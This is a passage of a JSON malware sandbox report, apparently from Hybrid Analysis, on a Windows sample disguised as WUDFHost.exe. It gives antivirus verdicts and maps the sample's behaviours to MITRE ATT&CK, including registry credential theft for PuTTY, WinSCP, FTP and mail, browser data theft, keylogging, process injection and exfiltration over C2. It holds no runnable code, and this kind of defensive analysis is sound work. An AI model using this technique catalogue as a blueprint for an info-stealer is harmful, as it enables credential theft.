Win32/GenKryptik.GNRR trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 0040eff71 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Backdoor.Win32.Androm.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Kryptik.KPX.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Malware","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains the ability to enumerate volumes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Credential Access","technique":"Credentials in Registry","attack_id":"T1552.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/002","identifiers":[{"type":"malicious","value":"Tries to steal Putty/Winscp sessions from registry"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"informative","value":"Found string related to Windows Vault/Credentials location"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Found strings related to file managers"},{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to get system version information"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"malicious","value":"Reads FTP client related registry keys"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"malicious","value":"Reads Antivirus engine related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal FTP credentials from registry"},{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"malicious","value":"Tries to steal Mail credentials from registry"},{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Tries to GET non-existent files from a webserver"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"RtlCreateUserThread\" (Indicator: \"RtlCreateUserThread\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"WUDFHost.bin\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"CryptCNGInitHMAC\" (Indicator: \"HMAC\"; Source: \"00000000-00002664.00000002.70094.02620000.00000004.mdmp, 00000000-00002664.00000003.77520.02620000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00002664.00000000.66253.00400000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002664.00000001.68174.00150000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002664.00000001.68174.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002664.00000002.70094.00150000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002664.00000002.70094.00170000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002664.00000002.70094.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002664.00000003.77520.00150000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002664.00000003.77520.00170000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"\".exe\" renamed original file\"C:\\WUDFHost.exe\" to \"%APPDATA%\\B52C16\\66E7F2.exe\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"WUDFHost.bin\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"WUDFHost.bin\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"WUDFHost.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"WUDFHost.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"WUDFHost.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"WUDFHost.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 25696-633-0040AFAE\n SetUnhandledExceptionFilter@KERNEL32.dll at 25696-1409-00406B2B\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002664-48137-232-0040AFAE\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002664-48137-16-00403EF1\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002664-48137-17-00405905","origin":"Hybrid Analysis 